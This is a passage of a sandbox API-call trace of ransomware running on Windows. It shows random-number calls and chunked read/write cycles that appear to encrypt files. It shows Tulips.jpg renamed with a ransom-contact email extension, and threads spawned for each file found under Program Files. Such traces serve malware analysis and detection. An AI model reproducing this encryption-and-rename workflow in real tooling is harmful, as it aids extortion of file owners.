(in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x619daec9 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x4c104598 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x6d1253a0 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x656b636c [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0xa07fe08 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x8695dbc [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x5fa053ac [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x7f71556d [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0xb31db90 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x19f82ba0 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x5d950e0e [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x3a07d36f [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x75910e71 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x66a3e7c3 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x1bbd9c8c [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x26db1b09 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x6f93cff3 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x10ce1535 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x76d14970 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x713d1dcc [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x41c59f0e [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0xcc78bc9 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x9b3e75c [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x642641e2 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x2fc9d3a4 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0xf37ca7c [0052.160] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x5a36f6f6 [0052.173] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.173] ReadFile (in: hFile=0x7c8, lpBuffer=0x12e2ba00, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd1cfb70, lpOverlapped=0x0 | out: lpBuffer=0x12e2ba00*, lpNumberOfBytesRead=0xd1cfb70*=0xc800, lpOverlapped=0x0) returned 1 [0052.174] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0052.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441500 [0052.174] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441500) returned 1 [0052.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e38208 [0052.184] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441500 [0052.184] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0052.184] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441438) returned 1 [0052.184] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0052.184] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.184] WriteFile (in: hFile=0x7c8, lpBuffer=0x12e38208*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd1cfb70, lpOverlapped=0x0 | out: lpBuffer=0x12e38208*, lpNumberOfBytesWritten=0xd1cfb70*=0xc800, lpOverlapped=0x0) returned 1 [0057.663] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e38208) returned 1 [0057.663] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x57800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.663] ReadFile (in: hFile=0x7c8, lpBuffer=0x12e2ba00, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd1cfb70, lpOverlapped=0x0 | out: lpBuffer=0x12e2ba00*, lpNumberOfBytesRead=0xd1cfb70*=0xc800, lpOverlapped=0x0) returned 1 [0057.664] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x57800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.664] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402960 [0057.664] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b258 [0057.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417a8 [0057.665] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417a8) returned 1 [0057.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e38208 [0057.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417a8 [0057.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417d0 [0057.666] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417d0) returned 1 [0057.666] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.666] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0057.666] WriteFile (in: hFile=0x7c8, lpBuffer=0x12e38208*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd1cfb70, lpOverlapped=0x0 | out: lpBuffer=0x12e38208*, lpNumberOfBytesWritten=0xd1cfb70*=0xc800, lpOverlapped=0x0) returned 1 [0059.176] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e38208) returned 1 [0059.176] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x8b158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.176] ReadFile (in: hFile=0x7c8, lpBuffer=0x12e2ba00, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd1cfb70, lpOverlapped=0x0 | out: lpBuffer=0x12e2ba00*, lpNumberOfBytesRead=0xd1cfb70*=0xc800, lpOverlapped=0x0) returned 1 [0059.177] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x8b158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0059.177] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410f0) returned 1 [0059.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e38208 [0059.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0059.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0059.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0059.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.178] WriteFile (in: hFile=0x7c8, lpBuffer=0x12e38208*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd1cfb70, lpOverlapped=0x0 | out: lpBuffer=0x12e38208*, lpNumberOfBytesWritten=0xd1cfb70*=0xc800, lpOverlapped=0x0) returned 1 [0062.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e38208) returned 1 [0062.295] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445bd8 [0062.296] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.296] WriteFile (in: hFile=0x7c8, lpBuffer=0x12d05808*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0xd1cfc18, lpOverlapped=0x0 | out: lpBuffer=0x12d05808*, lpNumberOfBytesWritten=0xd1cfc18*=0x145, lpOverlapped=0x0) returned 1 [0062.731] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441500) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445bd8) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4414d8) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fb30) returned 1 [0063.296] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45ced0 [0063.296] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" [0063.296] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.296] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd1cfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.296] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00610 [0063.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.297] NtQueryInformationFile (in: FileHandle=0x7c8, IoStatusBlock=0xd1cfbdc, FileInformation=0xd1cfbb4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd1cfbdc, FileInformation=0xd1cfbb4) returned 0x0 [0063.297] NtSetInformationFile (FileHandle=0x7c8, IoStatusBlock=0xd1cfbdc, FileInformation=0xd1cfbb4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0063.298] FlushFileBuffers (hFile=0x7c8) returned 1 [0066.217] CloseHandle (hObject=0x7c8) Thread: id = 529 os_tid = 0xf34 [0049.327] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438190 [0049.327] wcscpy (in: _Dest=0x438190, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0049.327] wcscat (in: _Dest=0x438190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0049.327] wcscat (in: _Dest=0x438190, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*" [0049.327] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458488 [0049.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440b60 [0051.213] wcscmp (_String1=".", _String2=".") returned 0 [0051.213] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.213] wcscmp (_String1="..", _String2=".") returned 1 [0051.213] wcscmp (_String1="..", _String2="..") returned 0 [0051.213] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0051.213] wcscmp (_String1="as80.xsl", _String2=".") returned 1 [0051.213] wcscmp (_String1="as80.xsl", _String2="..") returned 1 [0051.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43db28 [0051.213] wcscpy (in: _Dest=0x43db28, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0051.213] wcscat (in: _Dest=0x43db28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0051.213] wcscat (in: _Dest=0x43db28, _Source="as80.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" [0066.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43db28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278 [0066.984] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0066.984] wcscmp (_String1="as90.xsl", _String2=".") returned 1 [0066.985] wcscmp (_String1="as90.xsl", _String2="..") returned 1 [0066.985] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfc328 [0066.985] wcscpy (in: _Dest=0x12cfc328, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0066.985] wcscat (in: _Dest=0x12cfc328, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0066.985] wcscat (in: _Dest=0x12cfc328, _Source="as90.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" [0066.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0066.986] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0066.986] wcscmp (_String1="Informix.xsl", _String2=".") returned 1 [0066.986] wcscmp (_String1="Informix.xsl", _String2="..") returned 1 [0066.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x443800 [0066.986] wcscpy (in: _Dest=0x443800, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0066.986] wcscat (in: _Dest=0x443800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0066.986] wcscat (in: _Dest=0x443800, _Source="Informix.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" [0066.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x443800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4 [0066.987] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0066.987] wcscmp (_String1="msjet.xsl", _String2=".") returned 1 [0066.987] wcscmp (_String1="msjet.xsl", _String2="..") returned 1 [0066.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x12cfc3d0 [0066.987] wcscpy (in: _Dest=0x12cfc3d0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0066.987] wcscat (in: _Dest=0x12cfc3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0066.987] wcscat (in: _Dest=0x12cfc3d0, _Source="msjet.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" [0066.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0066.988] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0066.988] wcscmp (_String1="sql2000.xsl", _String2=".") returned 1 [0066.988] wcscmp (_String1="sql2000.xsl", _String2="..") returned 1 [0066.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x12cfc478 [0066.989] wcscpy (in: _Dest=0x12cfc478, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0066.989] wcscat (in: _Dest=0x12cfc478, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0066.989] wcscat (in: _Dest=0x12cfc478, _Source="sql2000.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" [0066.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c [0066.990] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0066.990] wcscmp (_String1="sql70.xsl", _String2=".") returned 1 [0066.990] wcscmp (_String1="sql70.xsl", _String2="..") returned 1 [0066.990] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x12cfc520 [0066.990] wcscpy (in: _Dest=0x12cfc520, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0066.990] wcscat (in: _Dest=0x12cfc520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0066.990] wcscat (in: _Dest=0x12cfc520, _Source="sql70.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" [0066.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0066.991] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0066.991] wcscmp (_String1="sql90.xsl", _String2=".") returned 1 [0066.991] wcscmp (_String1="sql90.xsl", _String2="..") returned 1 [0066.991] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x12cfc5c8 [0066.991] wcscpy (in: _Dest=0x12cfc5c8, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0066.991] wcscat (in: _Dest=0x12cfc5c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0066.991] wcscat (in: _Dest=0x12cfc5c8, _Source="sql90.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" [0066.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, 